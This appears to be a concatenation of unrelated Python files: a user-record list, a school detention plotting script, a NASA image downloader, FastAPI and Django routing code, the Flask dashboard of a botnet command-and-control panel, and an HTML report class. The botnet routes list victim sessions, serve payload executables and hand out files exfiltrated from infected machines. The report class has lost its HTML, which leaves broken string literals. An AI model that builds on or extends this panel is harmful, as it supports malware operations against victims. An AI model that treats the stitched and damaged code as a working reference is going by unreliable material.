             'email': 'jr_trilokesh_menon @morissette - kunde.test',
             'gender': 'male',
             'status': 'active'
         },
         {
             'id': 4400593,
             'name': 'VedangaVarrier',
             'email': 'vedanga_varrier@donnelly.example',
             'gender': 'male',
             'status': 'active'
         },
         {
             'id': 4400592,
             'name': 'Gandharv Mukhopadhyay',
             'email': 'gandharv_mukhopadhyay@weber-vonrueden.test',
             'gender': 'female',
             'status': 'inactive'
         },
         {
             'id': 4400591,
             'name': 'Apsara Iyer',
             'email': 'apsara_iyer@bauch-botsford.example',
             'gender': 'female',
             'status': 'active'
         },
         {
             'id': 4400590,
             'name': 'Mr.Gopi Khatri',
             'email': 'khatri_mr_gopi@lubowitz.example',
             'gender': 'female',
             'status': 'inactive'
         },
         {
             'id': 4400589,
             'name': 'Deepankar Achari I',
             'email': 'deepankar_achari_i@krajcik.test',
             'gender': 'male',
             'status': 'inactive'
        },
        {
            'id': 4400588,
            'name': 'HimaniDwivedi',
            'email': 'dwivedihimani@schmitt.example',
            'gender': 'female',
            'status': 'active'
        },
        {
            'id': 4400587,
            'name': 'RohanaMishra',
            'email': 'mishra_rohana@mckenzie.example',
            'gender': 'female',
            'status': 'inactive'
        },
        {
            'id': 4400586,
            'name': 'Rep.Hiranya Adiga',
            'email': 'adiga_rep_hiranya @ nicolas.example',
            'gender': 'male',
            'status': 'inactive'
        },
        {
            'id': 4400585,
            'name': 'Sen. Devagya Embranthiri',
            'email': 'devagya_sen_embranthiri@cartwright.example',
            'gender': 'male',
            'status': 'active'
        }]
    }


#!/usr/bin/python

from openpyxl.reader.excel import load_workbook

from Readers import *
from Behavior import *
from Student import *
import numpy as np
import matplotlib.pyplot as plt
import matplotlib.mlab as mlab

behav_read = BehaviorReader('data/DPCHS_BehaviorData.xlsx')
behaviors = []
while behav_read.next_sheet():
    behaviors += behav_read.get_data()

labels = ('3 Demerits','Auto Dt','Uniform','Send Out')
values = [0,0,0,0]

dates = {}

i = 0
for b in behaviors:
    if b.date not in dates.keys():
        dates[b.date] = {}

    if b.student not in dates[b.date].keys():
        dates[b.date][b.student] = [0,0,0,0]# [ nDemerits, nAutoDetentions, nUniforms, nSendouts]

    i += 1
    #if i>100: break
    if b.behaviorType == 'Demerit':
        dates[b.date][b.student][0] += 1
    elif b.behaviorType == 'AutoDetention':
        dates[b.date][b.student][1] += 1
        #values[1] += 1
    elif b.behaviorType == 'Uniform':
        dates[b.date][b.student][2] += 1
        #values[2] += 1
    elif b.behaviorType == 'SendOut':
        dates[b.date][b.student][3] += 1
        #values[3] += 1

n6demerits = 0
for d in dates.keys():

    for s in dates[d].keys():
        if dates[d][s][0] > 5:
            n6demerits += 1
        elif dates[d][s][0] > 2:
            values[0] += 1
        elif dates[d][s][1] > 0:
            values[1] += 1
        elif dates[d][s][2] > 0:
            values[2] += 1
        elif dates[d][s][3] > 0:
            values[3] += 1

width = 0.35
ind = np.arange(len(values))

fig = plt.figure(facecolor='w')
ax = fig.add_subplot(111)

temp = values[2:4]
values[2:4] = [0,0]
bars = ax.bar(ind+width, tuple(values), width, color='r')
barstop = ax.bar(ind+width, tuple([n6demerits,0]+temp), width, bottom=tuple(values),color='#1943BF')

ax.set_ylabel('Detentions')
ax.set_title('Detentions by Type')
ax.set_xticks(ind+width)
ax.set_xticklabels( labels )

def autolabel(rects):
    # attach some text labels
    for rect in rects:
        height = rect.get_height()
        ax.text(rect.get_x()+rect.get_width()/2., 1.05*height, '%d'%int(height),
                ha='center', va='bottom')

#autolabel(bars)

plt.show()

blah = raw_input("waiting...")


import requests
import re
from bs4 import BeautifulSoup as soup
import json
from time import sleep
from subprocess import run
import argparse

def get_links(pages,keys):
	links=[]
	for page in range(pages):
		url = 'https://images-api.nasa.gov/search?page={p}&media_type=image&q={k}'.format(p=page,k=keys)
		r= requests.get(url).json()

		try:
			items = r['collection']['items']
			for item in items:
				links.append(item['links'][0]['href'])
		except:
			try:
				sleep(5)
				continue
			except:
				print(page)
				break
	return links

def download_img(links,keys):
	for link in links:
		cmd='googleimagesdownload --keywords {k}  -x {l}'.format(k=keys,l=link.replace('~thumb','~orig'))
		run(cmd,shell=False)

if __name__ == '__main__':
	parse = argparse.ArgumentParser()
	parse.add_argument("-k",'--keywords',type=str,required=True,help='keywords')
	#parse.add_argument("-i", "--image_directory", type=str, required=False,help="specify a directory inside of the output directorydefault=keywords")
	#parse.add_argument("-o", "--output", type=str, required=False,help="output directory(default=downloads)")
	parse.add_argument("-p",'--pages',type=int, required=True,help="num of pages")

	args = parse.parse_args()
	keys = args.keywords
	pages = args.pages
	#output = args.output
	#folder_name =args.image_directory

	links = get_links(pages,keys)
	download_img(links,keys)


import asyncio
from typing import Tuple, Optional

from bson import ObjectId
from fastapi import APIRouter, HTTPException, UploadFile, File, Header, Depends
from gridfs import NoFile
from motor.motor_asyncio import AsyncIOMotorGridFSBucket
from starlette.requests import Request
from starlette.responses import RedirectResponse, StreamingResponse
from fastapi.responses import ORJSONResponse
from aiohttp import ClientResponseError

from gflbans.api.auth import check_access
from gflbans.internal.config import MONGO_DB
from gflbans.internal.flags import PERMISSION_MANAGE_MAP_ICONS
from gflbans.internal.map_images import find_map_image, conv_map_image
from gflbans.internal.log import logger

map_image_router = APIRouter()

@map_image_router.get('/{mod_name}/{map_name}')
async def get_map_image(request: Request, mod_name: str, map_name: str):

    mf = await find_map_image(request.app.state.db[MONGO_DB], mod_name, map_name)

    if mf is None:
        gt_url = f'https://image.gametracker.com/images/maps/160x120/{mod_name}/{map_name}.jpg'
        try:
            async with request.app.state.aio_session.head(gt_url) as resp:
                if resp.status < 400:
                    return RedirectResponse(status_code=307, url=gt_url)
                else:
                    return RedirectResponse(status_code=307, url='/static/images/map_icon.png')
        except ClientResponseError:
            logger.debug('Failed to check if GameTracker has the map image we wanted', exc_info=True)
            return RedirectResponse(status_code=307, url='/static/images/map_icon.png')

    client = AsyncIOMotorGridFSBucket(database=request.app.state.db[MONGO_DB])

    try:
        fos = await client.open_download_stream(mf)
    except NoFile:
        raise HTTPException(detail='No such file', status_code=404)

    async def gridfs_read():
        while fos.tell() < fos.length:
            yield await fos.readchunk()

    return StreamingResponse(gridfs_read(), media_type='image/webp', headers={'Content-Length': str(fos.length),
                                                                              'Cache-Control': 'public, max-age=604800,'
                                                                                ' immutable'})

async def max_map_img_size(content_length: int = Header(..., lt=(5 * 1024 * 1024))):
    return content_length

@map_image_router.post('/{mod_name}/{map_name}', dependencies=[Depends(max_map_img_size)],)
async def write_map_image(request: Request, mod_name: str, map_name: str, contents: UploadFile = File(...),
                          auth: Tuple[int, Optional[ObjectId], int] = Depends(check_access)):
    if auth[2] & PERMISSION_MANAGE_MAP_ICONS != PERMISSION_MANAGE_MAP_ICONS:
        raise HTTPException(status_code=403, detail='You do not have permission to do this!')

    if not contents.content_type.startswith('image'):
        raise HTTPException(detail='Must be an image!', status_code=400)

    b = await contents.read()

    converted = await asyncio.get_running_loop().run_in_executor(None, conv_map_image, b)

    gridfs_client = AsyncIOMotorGridFSBucket(database=request.app.state.db[MONGO_DB])
    file_id = await gridfs_client.upload_from_stream(f'{mod_name}.{map_name}.webp', converted,
                                                     metadata={
                                                         'map_image': True,
                                                         'mod_name': mod_name,
                                                         'map_name': map_name,
                                                         'content-type': 'image/webp'
                                                     })

    return ORJSONResponse({'file_id': str(file_id)}, status_code=201)


from django.urls import path
from . import views
urlpatterns = [
    path('',views.userindex,name='userindex'),
    path('recipedetails/',views.recipedetails, name='recipedetails'),
    path('about/',views.about, name='about'),
    path('contact/',views.contact, name='contact'),
    path('blog/',views.blog, name='blog'),
    path('singleblog/',views.singleblog, name='singleblog'),
    path('details/<int:id>/',views.details, name='details'),
    path('adddata/',views.adddata,name='adddata'),
    path('register/',views.register, name='register'),
    path('rbdata/',views.rbdata, name='rbdata'),
    path('loginuser/',views.loginuser, name='loginuser'),
    path('login_data/',views.login_data, name='login_data'),
    path('userlogout/',views.userlogout, name='userlogout')
]


import os

from flask import current_app, Blueprint, flash, redirect, render_template, request, url_for, send_from_directory
from flask_login import current_user, login_required

from botnet.dao import file_dao, payload_dao
from web_gui.utils import get_sessions_serialized, get_tasks_serialized

# Blueprint
root = Blueprint('root', __name__)

# Routes
@root.route("/home")
@root.route("/")
def home():
	if current_user.is_authenticated:
		return redirect(url_for('root.sessions'))
	else:
		return redirect(url_for('users.login'))

@root.route("/dashboard")
@root.route("/sessions")
@login_required
def sessions():
	sessions = get_sessions_serialized(current_user.id)
	return render_template("sessions.html", sessions=sessions)

@root.route("/payloads")
@login_required
def payloads():
	payloads = payload_dao.get_user_payloads(current_user.id)
	return render_template("payloads.html",
							payloads=payloads[::-1],
							owner=current_user.username)

@root.route("/files")
@login_required
def files():
	user_files = file_dao.get_user_files(current_user.id)
	return render_template("files.html",
							files=user_files[::-1],
							owner=current_user.username)

@root.route("/tasks")
@login_required
def tasks():
	tasks = get_tasks_serialized(current_user.id)
	return render_template("tasks.html",
							tasks=tasks[::-1])

#####################
#
# DOWNLOADS
#
#####################

@root.route("/executables/<user>/exe/<filename>")
@login_required
def download_payload(user, filename):
	return send_from_directory(os.path.join(current_app.config['OUTPUT_DIR'], user, 'exe'), filename, as_attachment=True)

@root.route("/exfiltratedfiles/<user>/<session>/<filename>")
@login_required
def download_file(user, session, filename):
	return send_from_directory(os.path.join(os.path.abspath('botnet/exfiltratedfiles'), user, session), filename, as_attachment=True)


"""
Define Report Class to handle html reports
"""

# imports

# classes

class Report:
    """
    A class to create, update, modify and save reports with pretty stuff
    """
    def __init__(self, path=None, string=""):
        """
        path is the place where the report is written/updated
        """
        self.path = path
        self.string = string

    def init(self, subject, date_and_time, version,
             cmd):
        """
        Init the report with html headers and various information on the report
        """
        intro_part1 = """<!DOCTYPE html>

CVRmap: individual report

Summary

BIDS participant label: sub-001

Date and time: 2022-06-01 13:54:41.301278

CVRmap version: dev

Command line options:

            """
        intro_part2 = """

        """
        self.string.join(intro_part1 + str(cmd) + '\n' + intro_part2)
        with open(self.path, "w") as f:
            f.write('<!DOCTYPE html>\n')
            f.write('\n')
            f.write('\n')
            f.write('
Connectomix: individual report
\n')
            f.write('
Summary
\n')
            f.write('
\n')
            f.write('
\n')
            f.write(
                '
BIDS participant label: sub-%s
\n' % subject)
            f.write('
Date and time: %s
\n' % date_and_time)
            f.write('
Connectomix version: %s
\n' % version)
            f.write('
Command line options:\n')
            f.write('
\n')
            f.write('\n')
            f.write(str(cmd) + '\n')
            f.write('\n')
            f.write('
\n')
            f.write('
\n')
            f.write('
\n')
            f.write('
\n')

    def add_section(self, title):
        """
        Add a section to the report
        """
        with open(self.path, "a") as f:
            f.write('
%s
\n' % title)

    def add_subsection(self, title):
        """
        Add a subsection to the report
        """
        with open(self.path, "a") as f:
            f.write('
%s
\n' % title)

    def add_sentence(self, sentence):
        """
        Add a sentence to the report
        """
        with open(self.path, "a") as f:
            f.write('%s
\n' % sentence)

    def add_image(self, fig):
        """
        Add an image path to the report
        if fig is a str, then it is interpreted as a path to the image to save.
        If a plotly figure, uses the .to_html argument to embded the image
        Args:
            fig: str or Figure object from plotly
        """
        import base64
        # with open(self.path, "ab") as f:
        #   f.write(b'')
        #   f.write(b'
')

        with open(self.path, "a") as f:
            if type(fig) is str:
                import os.path as path
                # make the path relative to report location
                _report_dir = path.dirname(self.path)
                _fig = path.relpath(fig, _report_dir)
                f.write('

')
            else:
                f.write(fig.to_html(full_html=False))
            f.write('
')

    def finish(self):
        """
        Writes the last lines of the report to finish it.
        """
        with open(self.path, "a") as f:
            f.write('\n')
            f.write('\n')

# functions

def build_report(outputs, entities, args, version):
    from datetime import datetime

    # init
    report = Report(
        outputs['report'])
    report.init(subject=entities['subject'],
                date_and_time=datetime.now(),
                version=version, cmd=args.__dict__)

    # create figures for report

    report.add_subsection(title='Matrix')
    report.add_sentence(
        sentence="Connectivity matrix for denoising strategy: %s" % entities['denoising'])
    report.add_image(outputs['matrix'])

    # finish the report
    report.finish()